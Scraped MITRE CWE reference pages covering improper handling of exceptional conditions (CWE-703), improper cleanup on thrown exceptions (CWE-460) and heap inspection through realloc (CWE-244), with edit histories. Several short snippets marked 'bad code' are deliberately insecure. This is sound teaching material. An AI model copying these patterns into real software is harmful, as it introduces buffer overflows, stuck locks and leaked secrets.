(CWE 1.3, 2009-03-10)
CWE Content TeamMITRE
New entry for reorganization of CWE-703.
+ Contributions
Contribution DateContributorOrganization
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Time_of_Introduction
2010-02-16CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Relationship_Notes
2011-03-29CWE Content TeamMITRE
updated Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences, Related_Attack_Patterns, Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Description, Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2010-02-16Improper Check for Exceptional Conditions

CWE-703: Improper Check or Handling of Exceptional Conditions

Weakness ID: 703
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1000Research Concepts
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.228Improper Handling of Syntactically Invalid Structure
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.393Return of Wrong Status Code
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.397Declaration of Throws for Generic Exception
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.754Improper Check for Unusual or Exceptional Conditions
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1384Improper Handling of Physical or Environmental Conditions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1012Cross Cutting
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.248Uncaught Exception
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.391Unchecked Error Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.392Missing Report of Error Condition
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.248Uncaught Exception
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.391Unchecked Error Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.392Missing Report of Error Condition
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Availability
Integrity

Technical Impact: Read Application Data; DoS: Crash, Exit, or Restart; Unexpected State

+ Demonstrative Examples

Example 1

Consider the following code segment:

(bad code)
Example Language:
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2

The following method throws three types of exceptions.

(good code)
Example Language: Java 
public void doExchange() throws IOException, InvocationTargetException, SQLException {
...
}

While it might seem tidier to write

(bad code)
 
public void doExchange() throws Exception {
...
}

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

+ Observed Examples
ReferenceDescription
Chain: JavaScript-based cryptocurrency library can fall back to the insecure Math.random() function instead of reporting a failure (CWE-392), thus reducing the entropy (CWE-332) and leading to generation of non-unique cryptographic keys for Bitcoin wallets (CWE-1391)
Chain: an operating system does not properly process malformed Open Shortest Path First (OSPF) Type/Length/Value Identifiers (TLV) (CWE-703), which can cause the process to enter an infinite loop (CWE-835)
+ Detection Methods

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fault Injection - source code
  • Fault Injection - binary
Cost effective for partial coverage:
  • Forced Path Execution

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.961SFP Secondary Cluster: Incorrect Exception Behavior
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1141SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1405Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is extremely high-level, a Pillar.

Comments:

Consider children or descendants of this entry instead.
+ Notes

Relationship

This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)ERR06-JDo not throw undeclared checked exceptions
+ References
[REF-567] Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995-08-01. <http://ftp.cerias.purdue.edu/pub/papers/taimur-aslam/aslam-taxonomy-msthesis.pdf>.
[REF-568] Taimur Aslam, Ivan Krsul and Eugene H. Spafford. "Use of A Taxonomy of Security Faults". 1995-08-01. <https://csrc.nist.gov/csrc/media/publications/conference-paper/1996/10/22/proceedings-of-the-19th-nissc-1996/documents/paper057/paper.pdf>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.
[REF-1374] Unciphered. "Randstorm: You Can't Patch a House of Cards". 2023-11-14. <https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards>. URL validated: 2023-11-15.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-09
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Other_Notes
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Name, Relationship_Notes
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2010-12-13Failure to Handle Exceptional Conditions

CWE-460: Improper Cleanup on Thrown Exception

Weakness ID: 460
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.
+ Extended Description
Often, when functions or loops become complicated, some level of resource cleanup is needed throughout execution. Exceptions can disturb the flow of the code and prevent the necessary cleanup from happening.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.459Incomplete Cleanup
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1012Cross Cutting
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

The code could be left in a bad state.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language: Java 
public class foo {
public static final void main( String args[] ) {

boolean returnValue;
returnValue=doStuff();
}
public static final boolean doStuff( ) {

boolean threadLock;
boolean truthvalue=true;
try {

while(
//check some condition
) {

threadLock=true; //do some stuff to truthvalue
threadLock=false;
}
}
catch (Exception e){

System.err.println("You did something bad");
if (something) return truthvalue;
}
return truthvalue;
}
}

In this case, a thread might be left locked accidentally.

+ Potential Mitigations

Phase: Implementation

If one breaks from a loop or function by throwing an exception, make sure that cleanup happens or that you should exit the program. Use throwing exceptions sparsely.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.961SFP Secondary Cluster: Incorrect Exception Behavior
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1141SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1181SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPImproper cleanup on thrown exception
The CERT Oracle Secure Coding Standard for Java (2011)ERR03-JRestore prior object state on method failure
The CERT Oracle Secure Coding Standard for Java (2011)ERR05-JDo not let checked exceptions escape from a finally block
SEI CERT Perl Coding StandardEXP31-PLImpreciseDo not suppress or ignore exceptions
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Type
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection')

Weakness ID: 244
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.
+ Extended Description
When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a "heap inspection" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.226Sensitive Information in Resource Not Removed Before Reuse
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.669Incorrect Resource Transfer Between Spheres
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Other

Technical Impact: Read Memory; Other

Be careful using vfork() and fork() in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.
+ Demonstrative Examples

Example 1

The following code calls realloc() on a buffer containing sensitive data:

(bad code)
Example Language:
cleartext_buffer = get_secret();...
cleartext_buffer = realloc(cleartext_buffer, 1024);
...
scrub_memory(cleartext_buffer, 1024);

There is an attempt to scrub the sensitive data from memory, but realloc() is used, so it could return a pointer to a different part of memory. The memory that was originally allocated for cleartext_buffer could still contain an uncleared copy of the data.

+ Observed Examples
ReferenceDescription
Cryptography library does not clear heap memory before release
+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2277PK - API Abuse
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsHeap Inspection
CERT C Secure CodingMEM03-CClear sensitive information stored in reusable resources returned for reuse
Software Fault PatternsSFP23Exposed Data
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Name, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
